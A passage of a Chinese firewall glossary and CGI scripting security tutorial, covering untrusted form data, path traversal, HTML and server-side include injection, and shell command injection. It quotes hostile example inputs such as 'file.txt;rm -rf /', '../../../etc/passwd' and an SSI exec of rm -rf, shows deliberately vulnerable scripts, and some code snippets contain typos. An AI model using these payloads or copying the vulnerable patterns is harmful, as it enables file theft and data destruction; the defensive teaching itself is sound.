3、堡垒主机(bastion host):它是一种被强化的可以防御进攻的计算机,被暴露于因特网之上,作为进入内部主机的一个检查点。通常情况下,堡垒主机上运行一些通用的操作系统。
4、双宿主主机dual homed host):有两个网络接口的主机。
5、屏蔽路由器(screened router):可以根据过滤原则对数据包进行阻塞和转发的机器。
6、屏蔽主机(screened host):被放置到屏蔽路由器后面的网络上的主机,主机能被访问和程度取决于路由器的屏蔽规则。
7、屏蔽子网(screen subnet):位于屏蔽路由器后面的子网,子网能被访问的程度取决于屏蔽规则。
8、代理服务器(proxy server):一种代表客户和真正服务器通信的程序。典型的代理接受用户的客户请求,然后决定用户或用户的IP地址是否有权使用代理服务器(也可能支持其它的认证手段),然后代表客户与真正服务器之间建立连接。
9、IP欺骗(ip spoofing):这是一种黑客的攻击形式,黑客使用一台机器,而用另一台机器的IP地址,从而装扮成另一台机器与服务器打交道。例如,一个防火墙不允许某一竞争站点访问该站点,但竞争站点可以使用其它站点的IP和服务器通信,而服务器则不知道与它通信的机器是竞争站点的主机。
10、DNS欺骗(DNS spoofing):通过破坏被攻击机上的名字服务器缓存,或破坏一个域名服务器来伪造IP地址和主机名的映射,从而冒充其它机器。
11、隧道路由器(trnneling router):它是一种特殊的路由器,可以对数据包进行加密,让数据能通过非信任网,如因特网,然后在另一端用同样的路由器进行解密。
12、虚拟私用网(Virtual Private Network,VPN):一种连接两个远程局域网的方式,连接要通过非信任网,如因特网,所以一般通过隧道路由器来实现互联。
13、差错与控制报文(ICMP):这是TCP/IP协议中的一种,建立在IP层上,用于主机之间或主机在路由器之间传输错误报文以及路由建议。
14、纵深防御(Defense in Depth):一种确保网络尽可能安全的安全措施,一般与防火墙联用。
15、最小特权(Least Privilege):在运行和维护系统中,尽可能地减少用户的特权,但同时也要使用户有足够的权限来做事,这样就会减少特权被滥用的机会。内部人员滥用特权很可能在防火墙上打开一个安全缺口,这很危险,很多的入侵是由此引起的。
16、数据包过滤(package filtering):一些设备,如路由器、网桥或单独的主机,可以有选择地控制网络上来往的数据流。当数据包要经过这些设备时,这些设备可以检查数据包的相应位,根据既定的原则来决定是否允许数据包通过。有时这也被称作屏蔽。

一光年的距离 2009-04-23 18:02
CGI 安全问题


  
在计算机领域——尤其在Internet上——尽管大部分Web服务器所编的程序都尽可能保护自己的内容不受侵害,但只要CGI脚本中有一点安全方面的失误--口令文件、私有数据、以及任何东西,就能使入侵者能访问计算机。遵循一些简单的规则并保持警惕能使自己的CGI脚本免受侵害,从而可以保护自己的权益。

1. 脚本和程序

在开始决定采用何种语言编写CGI脚本时应考虑几个因素,其中之一应是安全性。Shell 脚本,Perl程序和C可执行程序是CGI脚本最常采用的形式,从安全性角度来说每种都备有优缺。尽管没有哪一种是最好的--基于其他方面的考虑,如速度和可重用性--每种都有实用的领域。

Shell脚本一般用于小的、快速的甚至可以用完就不要的CGI程序,因此,编写它们时常常不考虑安全性。这种疏忽可以导致一些缺陷,使得仅对系统具有一般知识的人也能进入系统任意走动。

尽管Shell CGI 程序最容易写,甚至只需拼凑一下即可,但控制它们却很困难,因为它们一般是通过执行外部的其他程序来完成工作的。这就导致一些可能的隐患,CGI 程序会继承任何它使用的程序的安全问题。

例如,常用UNIX实用程序 awk对于它能处理的数据的数量有一些相当严格限制。如果在CGI脚本中使用awk,那么该程序也就有了同样的限制。Perl比Shell脚本更进一步。Perl用于CGI编程有很多优点,并且相当安全。但Perl能给CGI 作者提供足够的灵活性从而导致对安全性的错误感觉。例如,Perl是解释型的。这意味着它实际在调用时是先编译,然后每次执行一步。这就很容易使得不正确的用户数据被包括进来作为代码的一部分,从而错误地进行解释,形成程序中止原因。

最后谈谈C。C迅速成为标准应用开发语言,几乎所有的UNIX和windows NT系统都是用它开发的。从安全性的角度来看C 似乎是很不错,但由于它的流行性,它的好几种安全性问题已广为人知,而这些问题也能很容易地被人利用。

例如,C 对串处理非常差。它不做任何自动的定位或清理而让编程者自己处理所有事情。在处理串时,大部分C 程序员都是简单地建立一个预定义的空间并希望它足够大以便处理用户输入的任何内容。

当然,Shell脚本、Perl和C 不是仅有的编写CGI脚本语言。实际上,任何可以按预定义的方式与Web服务器进行交互的计算机语言都可以用于编写CGI程序。在UNIX和Windows NT服务器上,数据是通过环境变量和标准输入(stdin) 传给脚本的,所以任何能从这两种数据源读取并写入标准输出(sidout)的语言都能用于创建CGI:awk、FORTRAN、C++、Basic和COBOL,等。windows的程序员可以使用流行的Visual Basic,这意味着有经验的VB程序员不必去学一门新语言。Macintosh使用AppleEvents、和AppleScript与CGI程序进行通信,所以任何可以读写这两者的语言都可使用。

不过,Shell脚本(不管使用那种Shell)、Perl和C仍是最流行为的编写CGI脚本的语言。这并不是说必须使用它们了;只是说大部程序的库——即大部分经过测试的安全的库——都是用这三种语言编写的。如果自己来选择CGI编程语言,最好是借鉴前人的经验。

2. 谁也不信

几乎所有的CGI 安全问题都来自与用户的交互。接收来自外部数据源的输入之后一个简单的、可预见的CGI程序突然向多方向伸展,每个方面都可能有最小的缝隙使得“黑客”可以溜进来。正是与用户的这种交互——通过表单或文件路径——才给予了CGI 脚本这种能力,但同时也使得它们成了运行在Web服务器上的最潜在的危险部分。

编写安全的CGI 脚本很大程度上是创造性和妄想的结合。编写者必须有足够的创造性才能想到用户使用的,不管是无意地还是别的所有的可能隐含导致问题的发送数据的方式。而且必须有点妄想,因为有可能不知道什么时候、什么地方、他们将会一一加以试验。

2.1 两种导致问题的方式

当用户登录进入Web 站点并开始进行交互访问时,他们能以两种方式惹麻烦。一种是不遵守规则,歪曲或违反页面中建立的每个限制或约束;另一种方式是按要求去做。

大部分CGI 脚本是作为HTML表单的后台运行的,负责处理由用户输入的信息并提供某种定制的输出。因为在这种情况下,大部分CGI 脚本编写时都等待某种特殊格式的数据。它们期望用户的输入能匹配收集并发送信息的表单。不过事情并不总是这样。用户可以有许多种办法绕过这些预定义的格式而给脚本发送一些看起来是随机的数据。CGI 程序必须对此有所准备。

其次,用户可以给CGI 脚本发送所期望的数据类型,按预期的形式在表单中填入每个字段。这种类型的提交可以是想像中的来自某个与站点交互的无意的用户,也可能来自某个恶意的“黑客”,凭借他有关操作系统和Web 服务器软件的知识并利用常见的编程错误。这些入侵,表面上一切都正常,却是最危险的、最难检测出来。Web 站点安全性依赖干这种入侵的防止。

2.2 不要相信表单数据

在CGI 编程中最常见的安全失误就是相信从表单传到脚本的数据,用户是未知的一大堆人,他们总能找到一些编程人员从来没想到过的发送数据的方法--而且是程序员认为几乎不可能的方法。

脚本必须对这些加以考虑。例如,下面这些情形都是可能的:

1)从一组单单选按钮中选择的结果可能不是表单中提供的选项之一。

2)来自某个文本字段的数据长度可能大于MAXLENGTH字段允许的长度。

3)字段本身的名字可能与表单中指定的不相符。

2.3 不合理数据的来源


因—些无意的或是有意的原因,导致自己的脚本接收到不知道如何去处理的数据,有可能导致非预期的——同时很危险的——行为。

下面的代码实现了一种表单并向某个搜索yahoo!数据库的CGI脚本送垃圾。该脚本设计得很好并且很安全,因为它忽略了不认识的输入。

<FORM METHOD="POST" ACTION="http://search.yahoo.com/bin/search">
Enter your name,first then last:
<INPUT TYPE="TEXT" NAME="first">
<INPUT TYPE="TEXT" NAME="last">
</FORM

也许用户碰巧(或者意识地)将URL编辑为这个CGI脚本。当浏览器向CGI程序提交数据时,要简单地将输入表单中的数据连到CGI的URL上(用于GET METHODS),就像用户可以很容易地将Web页面地址输入到他的浏览器一样,用户也可以自己修改发送给这个脚本的数据。

例如,当单击表单上的Submit按钮时,Netscape将一个长串字符放入Location字段,该串由CGI的URL后接一串数据组成,大部分看起来像表单中定义的NAMES和VALUES。如果愿意的话,可以自由地编辑Location字段的内容并按自己的意愿修改数据:增加表单中没有的字段,扩展由MAXLENGTH选项限制的文本数据,或者几乎任何对象。以下显示了某CGI脚本预期从表单中提交的URL。

http://www.altavista.digit.com/cgi-bin?pg=q&what=web&imt=&q=%22An+Entirely+Other%22

用户可以修改同一URL,CGI脚本仍被调用,但现在接收的是非预期的数据。为了保证安全,该脚本应该在编写时就设计为能将这种输入识别为不被要求的数据并加以拒绝。

最后,某个有野心的"黑客"也许会写一个程序连到Web上的服务器并假装是一个Web浏览器。该程序可能做一些任何一个真正的web浏览器从未做过的事,例如给CGI脚本发送成百兆字节的数据。如果CGI脚本不限制从POST METHOD读取数据,那怎么办?它有可能会崩溃,也许允许那个崩溃了系统的人访问系统。

2.4 拒绝不合要求的表单数据

CGI脚本可以有几种方式拒绝接收提交给它的非预期的输入。编写CGI时应该使用其中一些技巧或所有这些技巧。

首先,CGI 脚本应设置接收多少数据的限制,不仅限制整个提交,也限制提交中的每个NAME/VALUE对。例如,CGI脚本读取POST METHOD,检查CONTENT-LENGTH环境变量的大小来确定某输入是不是合理的预期输入。
如果CGI 脚本设计接收的唯一数据是某人的姓名,那么如果CONTENT-LENGTH大于100字节,就应该有理由返回一个错误。没有哪个合理的姓有那么长,通过设置限制,就能使脚本不再盲目地读取发送给它的内容。

注意

令人高兴的是,不必担心去限制通过POST方法提交的数据。GET是自限制的并且不会向脚本发送多于1KB的数据。服务器自动限制放人QUERY-STRING环境变量中的数据的大小,而这正是GET发送给CGI程序的信息。

当然,"黑客"们可以很容易地将表单由GET改为PUT从而绕过这种内置的限制。至少,程序应该检查一下数据是否是用预期的方法提交的;最好是能正确且安全地处理两种方法。

下一步,应保证脚本知道在接收到不能识别的数据时该怎么办,例如,如果某表单要求用户选择两个单选按钮之一,脚本就不应该假设因为一个按钮未被选择,另一个就一定被选择了。下面的Perl代码就犯了这样的错误:

if ($form_Data{"radio_choice"} eq "button_one"){
# Button One has been clicked }
else {
# Button Two has been clicked }

这段代码假定因为表单仅提供了两个选项,而第一项未被选中,那么第二项就肯定被选中了。这不一定是真的。尽管前面的例子没有什么害处,但在某些情况下这样的假设可能很危险。

CGI脚本应该能预期这种情形而相应地进行处理。例如,如果出现一些非预期的或"不可能"的情形,可以打印一个错误,如下所述:

If ($form_Data{"radio_choice"} eq "button_one") {
#Button One seleted }
elsif ($form_Data{"radio_choice} eq "button_two") {
#Button Two Selected }
else {
#Error }

通过加入第二个if语句--显式检查"radio_choice"实际上是"button_two"--这样脚本更安全了;它不再做假设了。

当然,错误不一定是期望脚本在这些情形下生成的。有些脚本过于小心,验证每个字段,即使是最轻微的非预期数据都生成错误信息,这样往往很扫用户的兴。让CGI 脚本识别非预期数据然后扔掉它,并且自动选择一个缺省值也可以。

另一方面,脚本还可帮助用户纠正错误而不是简单地发一条错误消息或设置一个缺省值。如果表单要求用户输入机密文字,脚本应能在进行比较之前自动跳过输入中的空白字符。下面即是一个完成此功能的Perl程序片段。

$user_input =~ s/\s//;
#Remove white space by replacing it with an empty string
if ($user_input eq $secret_Word) {
#Match! }

最后,可以更进一步,让CGI脚本能处理尽可能多的不同的输入表单。尽管不可能预期到可能发送给CGI程序的所有内容,但对某个特定方面一般经常有几种常用的方式,因而可以逐个检查。

例如,仅仅因为所写的表单使用POST方法向CGI脚本提交数据,并不意味着数据必须按那种方法进来。应该检查REQUEET_METHOD环境变量来确定是使用了GET还是POST方法并相应地读取数据,而不是假定数据都是来自预期的标准输入(stdin)。一个真正编写成功的CGI脚本能接收无论使用什么方法提交的数据并在处理过程中很安全。以下程序清单即是用Perl编写的一个例子。

程序清单 CGI_READ.PL 一个充满活力的读取格式输入的程序

#Takes the maximum length allowed as a parameter
#Returns 1 and the raw form data,or "0" and the error text
sub cgi_Read
{
local($input_Max)=1024 unless $input_Max=$_[0];
local($input_Method)=$ENV{'REOUEST_METHOO');
#Check for each possible REQUEST_METHODS
if ($input_Method eq "GET") {
#"GET"
local($input_Size)=length($ENV{'QUERY_STRING'});
#Check the size of the input
if($input_Size>$input_Max) {
return(0,"input too big"); }
#Read the input from QUERY_STRING
return(1,$ENV{'QUERY_TRING'}); }
elsif ($input_Method eq "POST") {
#"POST"
local($input_Size)=$ENV{'CONTENT_LENGTH'};
local($input_Data);
#Check the size of the input
if ($input_Size>$input_Max) {
return(0,"Input too big"); }
#Read the input from stdin
unless (read(STDIN,$input_Data,$input_Size)) {
return(0,"Could not read STDIN"); }
return(1,$Input_Data);
}
#Unrecognized METHOD
return (0,"METHOD not GET POST");
}

总而言之,脚本应该不对接收的表单数据进行假设,应尽可能预计意料之外的情形并正确地处理不正确的或错误的输入数据。在使用数据之前应按尽可能多的方式测试它;拒绝不合理的输入并打印一条错误消息;如果某项出错或漏了应自动选择一个缺省值;甚至可以试图对输入进行编码以成为程序的合理的输入。选择哪种方式依赖于自己想花费多少时间和精力,不过记住永远也不要盲目接收传给CGI脚来的所有信息。

2.5不要相信路径数据

用户能修改的另一类型数据是PATH_INTO的服务器环境变量。该变量由CGI URL中紧跟在脚本文件名之后的任何路径信息填充的。例如,如果foobar.sh是一个CGl shell脚本,那么当foobar.sh运行时,URL http://www.server.com/cgi-bin/foobar.sh/extra/path/info将导致/extra/path/info被放进PATH_INFO环境变量中。

如果使用这个PATH_INFO环境变量,就必须小心地完全验证它的内容。就像表单数据能以许多种方式被修改一样,PATH_INFO也可以修改。盲目地根据PATH_INFO的中指定的路径文件进行操作的CGI脚本可能会让恶意的用户对服务器造成伤害。

例如,如果某个CGI脚来设计用于简单地打印出PATH_INFO中引用的文件,那么编辑该CGI URL的用户就可以读取机器上的几乎所有文件,如下所示:

#!/bin/sh
#Send the header
echo "Conext-type:text/html"
echo""

#Wrap the file in some HTML
#!/bin/sh
echo"<HTML><HEADER><TITLE>File</TITLE><HEADER><BODY>"
echo"Here is the file you requested:<PRE>\n"
cat $PATH_INFO
echo "</PRE></BODY><HIML>"

尽管在用户只单击预定义的链接(即http://www.server.com/cgi-bin/foobar.sh/public/faq.txt)时,该脚本正常工作,但是一个更有创造性的(或恶意的)用户可能会利用它接收服务器上的任何文件。如果他想进入http://www.server.com/cgi-bin/foobar.sh/etc/passwd,前面的脚本会很高兴地返回机器的口令文件——这可是不希望发生的事。

另一种安全得多的方式是在可能时使用PATH_TRANSLATED环境变量。不是所有的服务器都支持该变量,所以脚本不能依赖于它。不过如果有的话,它能提供完全修饰的路径名,而不是像PATH_INFO提供的相对URL。

不过在某种情形下,如果在CGI脚本中使用PATH_TRANSLATED的话,则可以访问通过浏览器不能访问到的文件。应该知道这点及它的应用。

在大部分UNIX服务器上,htaccess文件可以位于文档树的每个子目录,负责控制谁能够访问该目录中的特殊文件。例如它可以用于限制一组Web页面只给公司雇员看。

虽然服务器知道如何解释.htaccess,从而知道如何限制谁能还是不能看这些页面,CGI脚本却不知道。使用PATH_TRANSLATED访问文件树中任意文件的程序有可能碰巧覆盖了服务器提供的保护。

无论使用PATH_INFO还是PATH_TRANSLATED,另一个重要的步骤是验证路径以确保它或者是一个真正的相对路径或者是脚本认可的几个准确的、预知的路径之一。对于预定的路径,脚本将简单地将提供的数据与认可可以使用的文件的内部清单进行比较,这就是说在增加文件或修改路径时必须重新编译脚本,但安全性却有了保障。只允计用户选择几个预定义的文件而不允许用户指定实际的路径和文件名。

下面是处理访问者提供的路径时应遵循的一些规则。

1)相对路径不以斜线开头。斜线意味着"相对于根"或绝对路径。如果有的话,CGI脚本也是很少需要访问Web根之外的数据。这样它们使用的路径就是相对于Web根目录,而不是绝对路径。应拒绝任何以斜线开始的内容。


2)在路径中单个点(.)和两个点(..)的序列也有特殊含义。单点意味着对"对于当前目录",而双点意味着"相对于当前目录的父目录"。聪明的黑客可以建立象../../../etc/passwd这样的串逆向三层,然后向下进入/etc/passwd文件。应拒绝任何包含双点序列的内容。

3)基于NT服务器使用驱动器字母的概念来引用磁盘卷。包含对驱动器的引用的路径都以一个字母加上一个冒号开头。应拒绝任何以冒号为第二个字符的内容。

4)基于NT的服务器还支持Univesal Naming Conventions(UNC)引用。一个UNC文件规格指定机器名和一个共享点,其余部分与指定机器上的指定的共享点有关。UNC文件规格总是以两个反斜线开头。应拒绝任何UNC路径。

2.6一切看起来都正常,不过…

现在已经知道了用户能给CGI脚本提供非预期的数据的几种方式以及如何对付它们了,余下的更大问题是如何
验证用户提交的合法数据。

大部分情况下,正确但聪明地编写的表单提交会导致比越界数据更多的问题。忽略无意义的输入很容易,但确定合法的、正确格式的输入会不会导致问题就要困难得多。因为CGI脚本非常灵活,几乎可做计算机能做的任何事情,所以安全方面的一个很小失误往往能被无限制地加以利用——而这正是最危险的地方。

2.7 处理文件名

文件名是提交给CGI脚本的简单数据,但如果不小心的话,却能导致许多麻烦。如果用户输入的名字中包含路径因素,如目录斜杠和双点,尽管期望的是输入一个简单的文件名--例如file.txt--但结果却可能是/file.txt或../../../file.txt。根据Web服务器的安装以及对提交的文件名做什么操作,系统中的所有文件就有可能都暴露给了一个聪明的黑客。

进一步,如果用户输入了一个已有文件的名字或者一个对系统的运行很重要的文件名,怎么办?对如果输入的名字是/etc/passwd或C:\WINNT\SYSTEM32\KRNL32.DLL怎么办?根据在CGI脚本中对这些文件进行什么操作,它们有可能被发送给用户或者被垃圾覆盖了。在Windows 95和Windows NT下,如果不检查反斜杠字符(\),可能会允许Web 浏览器通过UNC文件名访问甚至不在该Web机器上的文件。

如果用户在文件名中输入了不合法的字符怎么办?在UNIX下,任何以句点(.)开头的文件名都是不可见的。在Windows下斜杠(/)和反斜杠(\)都是目录分隔符。很可能不小心写了一个Perl程序,当文件名以管(pipe)(|)开头时,尽管自己以为仅仅是打开了一个文件,实际上却是执行了一个外部程序。如果用户知道怎么办的话,甚至可以把控制字符(例如Escape键或Return键)作为文件名的一部分送给脚本。

更坏的情况是,在shell脚本中,分号用于结束一条命令并开始另一条命令。如果脚本设计目的是cat用户
输入的文件,用户可能输入file.txt;rm-rf/作为文件名,导致返回fi1e.txt,然后清除整个硬盘而不经任
何确认。

2.8 输入合理,输出却不合理

为了避免所有这些问题,关闭由它们打开的所有安全缝隙,检查用户输入的每个文件名。必须确保输入正是程序预期的输入。

这样做的最好办法是将输入的文件名的每个字符与可接收字符的清单进行比较,如果不匹配就返回一个错误。这比维持一个所有合法字符的清单并比较它们要安全得多——要想让什么字符溜掉太容易了。

以下程序清单是用Perl如何完成这种比较的例子。它允许任何字符字母(大写或小写调)、任何数字、下划线和句点。它还进行检查以确保文件名不以句点开头。这样,该段代码就不允许可以改变目录的斜杠,不允许可以将多条命令放在一行的分号,或者破坏Perl的Open()调用的Pipes了。

程序清单 保证所有字符都是合法的

if (($file_Name =~ /[^a-zA-Z_\.]/) || ($file_Name =~ /^\./)) {
#File name contains an illegal characgter or starts with a period
}

警告

尽管上述程序清单中的代码清除了大部分不合法的文件名,但操作系可能还有一些限制,而该代码没有覆盖到。例如,文件名可以用数字开头吗?或者以下划线开头?如果文件中包含多个句点或者句点后多于三个字符怎么办?整个文件名足够短得能满足文件系统的限制吗?

必须不断向自己提出这种问题。在写CGI脚本时最危险的事是认为用户会遵守指令。其实用户是不会的。保证用户不犯错误是编程者自己的事。

2.9 处理HTML

另外一种看起来无害的但却能导致很大麻烦的输入是在请求用户输入文本信息时得到的HTML。以下的程序清单是一个Perl程序片段;它向任何在$user_Name变量中输入了一个名字的人,例如John Smith,发出问候信息。

程序清单 发出定制的问候脚本

print ("<HTML><TITLE>Greetings!<TITLE><BODY>\n");
print ("Hello,$user_Name! It's good to see you!\n");
print ("</BODY><HTML>\n");

想像一下,如果用户不是仅仅输入一个名字,而是输入了<HR><H1><P ALIGN="CENTER">John Smith</P><H1><HR>或想像一下当脚本希望得到用户名时,黑客输入了<IMG SRC="/secret/cutekid.gif">,结果是公开了本该保密的信息。允许输入HTML可能很危险。

比输入简单的HTML修改页面或访问画面更危险的是恶意的黑客可能输入一条服务器端的include指令。如果web服务器设置为服从服务器端include,用户就可以输入

<!--#include file="/secret/project/p1an.txt"-->

而不是他的名字,以便看到秘密计划的全部文本,或者用户可以输入<!--#inc1ude fi1e-"/etc/passwd"-->来获取机器的口令文件。可能最坏的情况是黑客可能输入<!--#exec cmd="rm-rf/"-->而不是他的名字。这样上述程序清单中的代码会删掉硬盘上几乎所有内容。

警告

由于经常被恶意地使用,服务器端的include经常被禁止使用以保护站点免受侵害。现在假定这些都没问题。即使关闭了服务器端的include并且不介意用户能看到自己硬盘上的任何图片或者改变页面显示的外观,也仍然有问题--不仅是针对编程者的,而且针对其他用户。

CGI脚本的一个通常用途是留名册(guestbook):访问站点的顾客可能签个名,让别人知道他们已经在那儿了。一般情况下用户简单地输入他的名字,该名字会在访问者清单中出现。但是,如果将The last signee!<FORM><SELECT>作为用户名输入怎么办?<SELECT>标记将导致Web浏览器忽略位于<SELECT>和一个不存在的</SELECT>之间的所有内容,包括以后清单中加入的任何名字。即使有10个人签了名,仅有前3个会显示出来,因为第三个名字包含一个<FORM>和一个<SELECT>标记。因为第三个签名者在他的名字中使用了HTML标记,他后面的任何名字都不会显示出来。

对于用户输入HTML而不是普通的文本的情况有两种解决办法:

1)快速但比较粗糙的办法是不允许小于号(<)和大于号(>),因为所有HTML标记必须包含在这两个字符中,所以清除它们(或者如果碰到它们就返回一个错误)是一种防止HTML被提交并返回的简单的办法。下面一行Perl代码简单地清除了这两个字符:$user_Input=~s/<>//g;

2)更精细一点的办法是将这两个字符转换成它们的HTML换码--—种特殊的代码,用于表示每个字符而不使用该字符本身。下面的代码通过全部用<替换了小于符号,用>替换了大于符号,从而完成了转换:

$user_Input=~s/</&1t;/g;
$user_Input=~s/>/>/g;

2.10 处理外部进程

最后,CGI脚本如何与带有外部过程的用户输入打交道是应该警惕的另一区域。因为执行一个位于自己的CGI
脚本之外的程序意味着无法控制它做什么,必须尽最大努力在执行开始前验证发送给它的输入。

例如,shell脚本经常错误地将一个命令行程序和表单输入合在一起执行。如果用户输入符合要求,一切都挺
正常,但是有可能会加入其它命令并非法执行。

下面即是一个产生了这种错误的脚本的例子:

FINGER_OUTPUT='finger$USER_INPUT'
echo $FINGER_OUTPUT

如果用户很礼貌地给finger输入了某人的e-mail地址,一切都会正常工作,但是如果他输入了一个e-mail地址,
后面再跟一个分号和另一条命令,那么该命令也会被执行,如果用户输入了
webmaster@www.server.com;rm-rf/,那麻烦可就大了。

即使没有什么隐藏的命令被加入用户数据,无意的输入错误也可能带来麻烦。例如,下面的代码行会产生一个意料之外的结果——列出目录中的所有文件——如果用户输入是一个星号的话。

echo "Your input:"$USER_INPUT

当通过shell发送用户数据时,就象前面的代码片段所做的那样,最好检查一下shell的meta-character(元字符)——这些可能会导致意外的行为。

这些字符包括分号(允许一行中有多条命令),星号和问号(完成文件匹配),感叹号(在csh下指运行的作业),单引号(执行一条包含其中的命令)等等。就像过滤文件名一样,维护一个允许的字符清单一般要比试图找出每个不允许的字符容易一些。下面的Perl代码片段验证一个e-mail地址:

if ($email_Address ~= /[^a-zA-z0-9_\-\+\@\.]) {
#lllegal character! }
else { system("finger $email_Address"); }

如果决定在输入中允许shell元字符,也有办法让它们安全一些。尽管可以简单地给未验证的用户输入加上引号以免shell按特殊字符进行操作,但这实际上不起什么作用。请看下的语句:

echo"Finger information:<HR><PRE>"
finger"$USER_INPUT
echo"</PRE>

尽管$USER_INPUT上的引号可以使shell不再解释一个分号,从而不允许黑客简单地插进来一条命令,但该脚本仍有许多安全方面的漏洞。例如,输入可能是'rm-rf/',其中单引号可以导致甚至在finger不知道的情况下执行黑客的命令。

一种处理特殊字符的较好的办法是对它们进行换码,这样脚本只是取它们的值而不解释它们。通过对用户输入进行换码,所有的shell元字符都被忽略并作为增加的数据传给程序。下面的Perl代码即对非字母数字字符完成这种处理。

$user_Input=~s/([^w])/\\\1/g;

现在,如果用户输入加在某条命令之后,每个字符——即便是特殊字符——都会由shell传送给finger。

不过请记住,验证用户输入——不相信发送给自己的任何信息——会使自己的代码更易读并且执行起来更安全。最好不是在已经执行了命令之后再去对付黑客,而应在门口就对数据进行一次性的检查。

处理内部函数

对于解释型语言,例如Shell和Perl,如果用户输入的数据不正确的话,有可能导致程序生成本来没有的错误。如果用户数据被解释为一部分执行代码,用户输入的任何内容都必须符合语言的规则,否则就会出错。

例如,下面的Perl代码片段也许会正常工作也许会产生错误,这取决于用户输入的是什么:

if ($search_Text =~ /$user_Pattern/) {
#Match! }

如果$user_Pattern是一个正确的表达式,一切都会正常,但是如果$user_Pattern不合法;Perl就会失败,导致CGI程序失败——这可能是一种不安全的方式。为了避免这种情况,在Perl中至少应有eval()操作符,它计算表达式的值并与执行它无关,返回一个码值表示表达式是有效的还是无效的。下面的代码即是前面代码的改进版。
if (eval{$search_Text =~ /$user_Pattern/}) {
if ($search_Text =~ /$user_Pattern/) {
#Match!
}
}

不幸的是,大部分shells(包括最常用的,/bin/sh)都没有像这样的简单的办法检查错误,这也是避免它们的
另一原因。

在执行外部程序时,还必须知道传送给那些程序的用户输入是如何影响程序的。编程者可以保护自己CGI脚本不受黑客侵犯,但是如果轻率地将某个黑客输入的内容传送给了外部程序而不知道那些程序是如何使用这些数据的,也会徒劳无益。

例如,许多CGI脚本会执行mail程序给某人发送一个包含用户输入信息的e-mail。这可能会非常危险,因为mail有许多内部命令,任何一个命令都有可能被用户输入激活。例如,如果用mail发送用户输入的文本而该文本有一行以代字号(~)开头,mail会将该行的下一字符解释为它能执行的许多命令之一。例如,~r/etc/passwd,会导致mail读取机器的口令文件并发送给收信人(也许正是黑客自己)。

在这样的例子中,应该使用sendmail(一个更底层的邮寄程序,它少了许多mail的特性),而不是使用mail在UNIX机器上发送e-mail。

作为一般规则,在执行外部程序时应该使用尽可能贴近自己要求的程序,不必有过多不必要的功能。外部程
序能干的事越少,它被利用来干坏事的机会就越少。

警告

下面是使用mail和sendmail的另一个问题:必须保证发送给mail系统的是一个合法的e-mail地址。许多mail系统都会把以"|"开头的e-mail地址作为要执行的命令,从而为输入这样一个地址的黑客打开方便之门,请
再一次记住要验证数据。

怎样才能更好地了解外部程序以便有效地使用它们的另一个例子是grep。grep是一个简单的命令行实用程序,它在文件中搜索一个常用表达式,表达式可以是一个简单的串也可以是复杂的字符序列。大部分人会说使用grep不会出什么问题,但是尽管grep可能不会造成什么损失,它却能被愚弄,下面将说明它是怎么被愚弄的,如下面的代码所示。它假定在许多文件中完成对用户输入项的区分大小写的搜索。

print("The following lines contain your term:<HR><PRE>");
$search_Term=~s/([^w])/\\\1/g;
system("grep $search_Term/public/files/*.txt");
print(<"PRE>");

这一切看起来挺好,除非考虑到用户可能会输入-i。它不会被搜索,而是作为与grep的切换,就像任何以连字符开头的输入一样。这会导致grep或者因等待将搜索的串输入标准输入而挂起,或者如果-i后的内容被解释为其他切换字符时产生错误。毫无疑问这不是编程者本来的意图。在这种情况下它还不太危险,但在其他情况下却有可能。记住,没有什么无害的命令,对每条命令部必须从各个角度仔细考虑。

一般情况下,应该尽可能熟悉自己的CGI脚本执行的每个外部程序。对程序知道得越多,就越能保护它们免受数据破坏--一方面可以监视数据,另一方面可以禁止某些选项或特性。外部程序经常是许多CGI程序问题的一种快速方便的解决办法——它们都经过了测试,可以得到,并且灵活多样。但它们也可以成为黑客入侵的方便之门。不要害怕使用外部程序——它们经常是完成CGI程序中某种功能的唯一办法——但是要知道它们可能带来的危害。

3 内部伤害

到目前为止,仅仅考虑了通过Web例览站点的人——从几千里之外——可能带来的潜在的安全危险。但实际上还存在另一种离得更近的危险因素。

在CGI安全问题上常犯的一种错误是忘记了本地用户。尽管通过Web浏览站点的人不影响本地安全,如文件保护和所有者,但Web服务器的本地用户却能这样,必须做出更多努力防止这些入侵。大部分多用户系统上,如UNIX,Web服务器是作为一个程序运行的,而机器仍被许多人使用做着许多事情。仅仅因为为某人与自己一起工作或访问自己的学校并不意味着他能抵制住诱HUO,而不去捣鼓Web安装从而引起问题。

3.1 CGI脚本用户

大部分Web服务器是作为运行CGI脚本的特殊用户而安装的。这是在CGI程序运行时拥有该CGI程序的用户,并且他所拥有的权限能限制该脚本能做什么事情。

在UNIX下,服务器自己也是作为root(系统的超级用户或管理员)运行的,并允许它使用端口80作为浏览器与之通信的地方(只有root能使用这些被称为"保留的"端口0到1023;所有用户都可以使用其余的端口)。当服务器执行CGI程序时,大部分Web服务器都能设置为以另外一个用户而不是Web服务器本身来运行该程序——尽管不是所有服务器都能这么做。

将CGI脚本作为root运行是很危险的!服务器应被设为利用一个普通用户,如常用的nobody来运行CGI脚本。用户权限越小,运行的CGI脚本能造成的危害就越小。

3.2 Setuid 危险

编程者还应知道自己的UNIX CGI脚本中是否设置Setuid位。如果对某个可执行文件允许该选项,将能使该程序与拥有该文件的用户有同样权限,而不是执行它的用户。如果自己的CGI脚本上设置setuid位,无论服务器作为什么用户来运行它,它的权限都等同于该文件的拥有者。这当然有很大的隐患--可能会对以其权限运行脚本的用户失去控制。幸运的是Setuid位很容易被禁止。对所有CGI脚本执行chmod a-s即能关闭所有的setuid,程序即能以允许的权限运行。

当然,在某些情况下也许希望设置setuid位--例如如果脚本需要以特殊用户身份来运行以访问一个数据库。在这种情况下,必须加倍小心确保该程序的其他文件保护能将可以访问它的用户限制在允许范围内。

3.3 "Community" Web服务器

即使Web服务器以一个常用的用户来执行脚本,仍有一个潜在的问题,那就是一个人并不总是能控制服务器。如果许多人共同控制服务器,每个人都可以将CGI脚本安装作为nobody用户来运行。这就使这些人的任何一个都可以利用CGI程序访问他们原先不能访问的地方,而这些地方是nobody允许进入的。

也许潜在的安全问题的解决办法是将CGI的控制限制为一个人。在某些情况下尽管这似乎是合理的,但对较大站点却经常不太可能。例如,一个大学有几百个学生,每个学生都想试着去编写并安装CGI脚本。

3.4 使用CGI Wrap

当有多个用户可以访问CGI时,对于确定脚本以什么用户运行的问题的一个较好的解决办法是CGI wrap程序。CGI Wrap,可以在using CGI Web站点中找到,是一个简单的包装,它以拥有该文件的用户而不是服务器指定的用户来运行CGI脚本。这种简单的预防措施使脚本拥有者对它可能的危害负责。

